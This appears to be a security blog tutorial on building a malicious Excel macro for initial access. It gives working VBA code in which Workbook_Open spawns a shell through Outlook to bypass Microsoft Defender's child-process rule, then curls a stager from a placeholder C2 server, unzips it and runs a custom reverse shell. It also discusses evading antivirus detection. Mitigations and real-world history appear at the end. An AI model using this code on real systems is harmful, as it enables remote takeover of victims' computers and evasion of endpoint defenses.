Introduction

Microsoft Excel is a very useful program that makes life easier for millions of people and companies around the world. It is a robust tool for data collection and visualization, creation of calculations and more. Unfortunately, software that offers script-based automation capabilities also has its downsides.

A macro is a script that is used to automate tasks in Excel documents, e.g. calculations. Because macros are part of an Excel document and can run automatically, they are a good tool for an attacker to control a computer.

Macros are written in the VBA (Visual Basic) scripting language, which can work with the system application interface from a privileged context (MS Excel), thanks to which it allows good interaction with the operating system. Script execution is configurable according to events that occur based on user action

  • AutoExec : Launches when a document is opened
  • AutoNew : Launches when a new document is created
  • AutoOpen : Launches when an existing document is opened
  • AutoClose : Launches when the document is closed

where the event triggers malicious code. When malicious code starts executing, the attacker will be able to work with Win32 API, COM objects, VBA code, or it is possible to invoke the loading of their own library.

As macro security went unnoticed, Microsoft and other security companies began working on protection mechanisms.

One of these protection mechanisms, which is implemented directly in MS Excel, is that macros do not run automatically when a dangerous document is opened.

As a result, social engineering methods have begun to be used to force the user to allow the use of macros.

One way, for example, might be to make the document look encrypted and ask the user to enable the macro for security reasons. There are no limits to creativity.

Creating a Malicious Macro

Macros can be enabled, but we need an entry point for our malicious program. After macros are enabled, we can proceed to the actual execution of the code. Before describing the technical details, the following infographic accurately describes our process of infecting a computer and taking complete control of it.

Our event handlers can be registered simply by giving the procedure the same name as the event we want to run, or by naming one of our code modules after the automatic macro and including the procedure in that module.

In addition to these application events, the Office documents themselves trigger various events and may contain their own utilities. These event handling procedures are contained in the document instead of in the code module. In our code, we use the Workbook_Open event, which starts when a document is opened.

Private Sub Workbook_Open()

    AutoRunMacroBypassDownload
    
End Sub

This event is executed by a service code located in a separate Module. If we want to create a Shell instance, a rule from MS Defender will block our request. Specifically, Microsoft states the following in its documentation:

The rule blocks Office applications from creating child processes. Office applications include Word, Excel, PowerPoint, OneNote and Access. Creating malicious child processes is a common malware strategy. Malware that abuses Office as a vector often runs VBA macros and uses code to download and run additional code.

We can notice that the documents do not include Outlook, which we use to create a Shell object and bypass the rule from MS Defender. Then we execute a GET request to the Command and Control Server (also known as C2 or C&C), from where we download a stager that contains an application called Client, which establishes a TCP connection to the C2 server.

We decided to compile our own reverse shell written in C# for two main reasons. First of all, it is important to realize that both attackers and antivirus developers have access to programs such as Metasploit and Empire. For this reason, generated reverse shell binaries, whether after obfuscation or injected into a legitimate application, are marked as malicious based on a fingerprint.

The second reason is that once we insert any PowerShell cmdlets into a macro, the file is always marked as malicious and Windows Defender removes it as soon as it is created.

' Bypass defender chiled process protection using outlook process
Sub AutoRunMacroBypassDownload()

    ' create outlook object
    Set objOL = CreateObject("Outlook.Application")
    
    ' create shell object under the outlook object
    Set WshShell = objOL.CreateObject("Wscript.Shell")
    
    ' exec the command from the new shell object
    ' download stager
    Set WshShellExec = WshShell.Exec("curl http://<SERVER IP>:<SERVER PORT>/stager.zip --output C:\Users\Public\Documents\stager.zip")
    Application.Wait (Now + TimeValue("00:00:03"))
    
    ' unzip stager content
    Call UnzipAFile("C:\Users\Public\Documents\stager.zip", "C:\Users\Public\Documents\")
    Application.Wait (Now + TimeValue("00:00:03"))
    
    ' execute encoded reverse shell
    Set WshShellExec = WshShell.Exec("C:\Users\Public\Documents\Shell.exe")
      
End Sub

Sub UnzipAFile(zippedFileFullName As Variant, unzipToPath As Variant)

    Dim ShellApp As Object

    'Copy the files & folders from the zip into a folder
    Set ShellApp = CreateObject("Shell.Application")
    ShellApp.Namespace(unzipToPath).CopyHere ShellApp.Namespace(zippedFileFullName).items

End Sub

After launching the Client application, we have gained control over the device and we can proceed with enumeration and subsequent eventual exploitation.

In the real world, it would be appropriate to obfuscate our macro as well as the application for establishing a TCP connection, but since this is a demonstration program, this process was not necessary.

Static analysis

Excel document

In the picture above, we can see that apart from Kaspersky antivirus, another relevant antivirus program did not detect that it was a malicious document.

TCP Client

In the case of an application that establishes a TCP connection, this is mainly detected by Microsoft Defender. In 2019, this method was marked as undetectable, but we assume that due to its exposure, MS Defender has recently started to focus on it. Another option would be to use appropriate code obfuscation or write this client in a C++ programming language.

Real World Examples

The use of VBA macros to spread viruses has existed since the creation of VBA itself (1993). This method ceased to be used around the year 2000 because simpler and more reliable methods were found to infect a computer.

Macros in Office applications began to be abused again in 2012, mainly to collect system information such as IP address, installed applications or running system processes.

Macro abuse erupted in 2016, when attackers were able to use macros to infect the systems with Cerber ransomware.

Another known abuse of macros was in 2019, when attackers used macros to invoke Powershell, which downloaded and launched malware. It was a GandCrab ransomware and a Ursnif Trojan horse aimed at filtering data from the system.

Also in 2021, the mentioned Ursnif malware continues to be spread. The target of the attack were Italian banks, of which about 100 were successfully infected. Its attempt was to steal the login details, which were then sent using imitation of Zoom or Webex calls.

Mitigations

  • Globally disable macros for Microsoft Office applications. (Enable or disable macros)
  • Do not open suspicious emails or suspicious attachments.
  • Do not open untrusted .xlsm, .docm, .pptm documents.
  • Delete any emails from unknown people or with suspicious content.
  • Do not use an Administrator account for daily tasks on Windows operating system.
  • Update Windows and antivirus regularly.
  • Back up your documents regularly.
  • Enterprises can prevent macro malware from running executable content using ASR rules.

Resources

Thank you for reading and we hope you learned something new.